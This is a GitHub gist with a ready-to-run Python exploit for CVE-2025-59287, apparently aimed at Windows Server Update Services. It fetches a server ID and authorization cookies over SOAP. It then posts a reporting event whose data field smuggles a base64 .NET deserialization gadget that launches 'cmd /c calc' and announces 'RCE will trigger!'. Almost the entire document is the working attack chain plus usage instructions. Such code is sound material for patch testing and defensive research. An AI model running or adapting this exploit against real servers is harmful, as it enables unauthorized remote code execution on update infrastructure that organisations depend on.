Skip to content

Instantly share code, notes, and snippets.

@hawktrace
Last active October 25, 2025 06:42
Show Gist options
  • Save hawktrace/76b3ea4275a5e2191e6582bdc5a0dc8b to your computer and use it in GitHub Desktop.
Save hawktrace/76b3ea4275a5e2191e6582bdc5a0dc8b to your computer and use it in GitHub Desktop.
HawkTrace CVE-2025-59287
#!/usr/bin/env python3
import requests
import urllib3
import xml.etree.ElementTree as ET
from datetime import datetime, timezone
import sys
import uuid
from xml.sax.saxutils import escape
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def get_auth_cookie(target, server_id=None):
url = f"{target}/SimpleAuthWebService/SimpleAuth.asmx"
headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"', 'Content-Type': 'text/xml'}
if server_id is None:
server_id = str(uuid.uuid4())
soap_body = f'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetAuthorizationCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService">
<clientId>{server_id}</clientId>
<targetGroupName></targetGroupName>
<dnsName>hawktrace.local</dnsName>
</GetAuthorizationCookie>
</soap:Body>
</soap:Envelope>'''
try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)
if response.status_code == 200:
root = ET.fromstring(response.text)
for elem in root.iter():
if 'CookieData' in elem.tag and elem.text:
print(f"[+] Using ID: {server_id}")
return elem.text
except Exception as e:
print(f"[-] Auth cookie error: {e}")
return None
def get_server_id(target):
url = f"{target}/ReportingWebService/ReportingWebService.asmx"
headers = {
'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"',
'Content-Type': 'text/xml'
}
soap_body = '''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetRollupConfiguration xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
</GetRollupConfiguration>
</soap:Body>
</soap:Envelope>'''
try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)
if response.status_code == 200:
root = ET.fromstring(response.text)
for elem in root.iter():
if 'ServerId' in elem.tag and elem.text:
print(f"[+] Server ID: {elem.text}")
return elem.text
except Exception as e:
print(f"[-] Server ID error: {e}")
fallback_id = str(uuid.uuid4())
print(f"[!] Using fallback ID: {fallback_id}")
return fallback_id
def get_reporting_cookie(target, auth_cookie):
url = f"{target}/ClientWebService/Client.asmx"
headers = {'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"', 'Content-Type': 'text/xml'}
timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%SZ')
soap_body = f'''<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService">
<authCookies>
<AuthorizationCookie>
<PlugInId>SimpleTargeting</PlugInId>
<CookieData>{auth_cookie}</CookieData>
</AuthorizationCookie>
</authCookies>
<oldCookie xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
<lastChange>{timenow}</lastChange>
<currentTime>{timenow}</currentTime>
<protocolVersion>1.20</protocolVersion>
</GetCookie>
</soap:Body>
</soap:Envelope>'''
try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)
if response.status_code == 200:
root = ET.fromstring(response.text)
cookie_data = {}
for elem in root.iter():
if 'Expiration' in elem.tag:
cookie_data['expiration'] = elem.text
elif 'EncryptedData' in elem.tag:
cookie_data['encrypted_data'] = elem.text
if 'encrypted_data' in cookie_data:
return cookie_data
except:
pass
return None
def send_malicious_event(target, cookie):
url = f"{target}/ReportingWebService/ReportingWebService.asmx"
target_sid = str(uuid.uuid4())
event_instance_id = str(uuid.uuid4())
timenow = datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%S.%f')[:-3]
popcalc = '''<SOAP-ENV:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:clr="http://schemas.microsoft.com/soap/encoding/clr/1.0" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><a1:DataSet id="ref-1" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089"><DataSet.RemotingFormat xsi:type="a1:SerializationFormat" xmlns:a1="http://schemas.microsoft.com/clr/nsassem/System.Data/System.Data%2C%20Version%3D4.0.0.0%2C%20Culture%3Dneutral%2C%20PublicKeyToken%3Db77a5c561934e089">Binary</DataSet.RemotingFormat><DataSet.DataSetName id="ref-3"></DataSet.DataSetName><DataSet.Namespace href="#ref-3"/><DataSet.Prefix href="#ref-3"/><DataSet.CaseSensitive>false</DataSet.CaseSensitive><DataSet.LocaleLCID>1033</DataSet.LocaleLCID><DataSet.EnforceConstraints>false</DataSet.EnforceConstraints><DataSet.ExtendedProperties xsi:type="xsd:anyType" xsi:null="1"/><DataSet.Tables.Count>1</DataSet.Tables.Count><DataSet.Tables_0 href="#ref-4"/></a1:DataSet><SOAP-ENC:Array id="ref-4" xsi:type="SOAP-ENC:base64">AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAswU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNhbGMiIFN0YW5kYXJkRXJyb3JFbmNvZGluZz0ie3g6TnVsbH0iIFN0YW5kYXJkT3V0cHV0RW5jb2Rpbmc9Int4Ok51bGx9IiBVc2VyTmFtZT0iIiBQYXNzd29yZD0ie3g6TnVsbH0iIERvbWFpbj0iIiBMb2FkVXNlclByb2ZpbGU9IkZhbHNlIiBGaWxlTmFtZT0iY21kIiAvPg0KICAgICAgPC9zZDpQcm9jZXNzLlN0YXJ0SW5mbz4NCiAgICA8L3NkOlByb2Nlc3M+DQogIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KPC9PYmplY3REYXRhUHJvdmlkZXI+Cw==</SOAP-ENC:Array></SOAP-ENV:Body></SOAP-ENV:Envelope>'''
soap_body = f'''<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soap:Body>
<ReportEventBatch xmlns="http://www.microsoft.com/SoftwareDistribution">
<cookie>
<Expiration>{cookie['expiration']}</Expiration>
<EncryptedData>{cookie['encrypted_data']}</EncryptedData>
</cookie>
<clientTime>{timenow}</clientTime>
<eventBatch xmlns:q1="http://www.microsoft.com/SoftwareDistribution" soapenc:arrayType="q1:ReportingEvent[1]">
<ReportingEvent>
<BasicData>
<TargetID>
<Sid>{target_sid}</Sid>
</TargetID>
<SequenceNumber>0</SequenceNumber>
<TimeAtTarget>{timenow}</TimeAtTarget>
<EventInstanceID>{event_instance_id}</EventInstanceID>
<NamespaceID>2</NamespaceID>
<EventID>389</EventID>
<SourceID>301</SourceID>
<UpdateID>
<UpdateID>00000000-0000-0000-0000-000000000000</UpdateID>
<RevisionNumber>0</RevisionNumber>
</UpdateID>
<Win32HResult>0</Win32HResult>
<AppName>LocalServer</AppName>
</BasicData>
<ExtendedData>
<MiscData soapenc:arrayType="xsd:string[2]">
<string>Administrator=SYSTEM</string>
<string>SynchronizationUpdateErrorsKey={escape(popcalc)}</string>
</MiscData>
</ExtendedData>
<PrivateData>
<ComputerDnsName></ComputerDnsName>
<UserAccountName></UserAccountName>
</PrivateData>
</ReportingEvent>
</eventBatch>
</ReportEventBatch>
</soap:Body>
</soap:Envelope>'''
headers = {
'Connection': 'Keep-Alive',
'Content-Type': 'text/xml',
'Accept': 'text/xml',
'User-Agent': 'Windows-Update-Agent',
'SOAPAction': '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"',
'Host': target.replace('http://', '').replace('https://', '')
}
try:
response = requests.post(url, data=soap_body, headers=headers, timeout=30, verify=False)
if response.status_code == 200 and 'true' in response.text:
return True, event_instance_id, target_sid
else:
return False, None, None
except Exception as e:
print(f"[DEBUG] Exception: {e}")
return False, None, None
def main():
if len(sys.argv) < 2:
print("Usage: python HawkTrace.py <target_url>")
print("Example: python HawkTrace.py http://192.168.1.100:8530")
sys.exit(1)
target = sys.argv[1]
print(r"""
_ _ _
| | | | | |
| |__ __ ___ _| | _| |_ _ __ __ _ ___ ___
| '_ \ / _` \ \ /\ / / |/ / __| '__/ _` |/ __/ _ \
| | | | (_| |\ V V /| <| |_| | | (_| | (_| __/
|_| |_|\__,_| \_/\_/ |_|\_\\__|_| \__,_|\___\___|
Batuhan Er @int20z
CVE-2025-59287
""")
print()
print("[+] Getting Server ID...")
server_id = get_server_id(target)
print("[+] Auth cookie with Server ID...")
auth_cookie = get_auth_cookie(target, server_id)
if not auth_cookie:
print("[-] Failed")
return
cookie = get_reporting_cookie(target, auth_cookie)
if not cookie:
print("[-] Failed")
return
print("[+] Sending event with payload...")
success, event_id, target_sid = send_malicious_event(target, cookie)
if success:
print("[+] SUCCESS!")
print("[!] RCE will trigger!")
else:
print("[-] Failed")
if __name__ == "__main__":
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment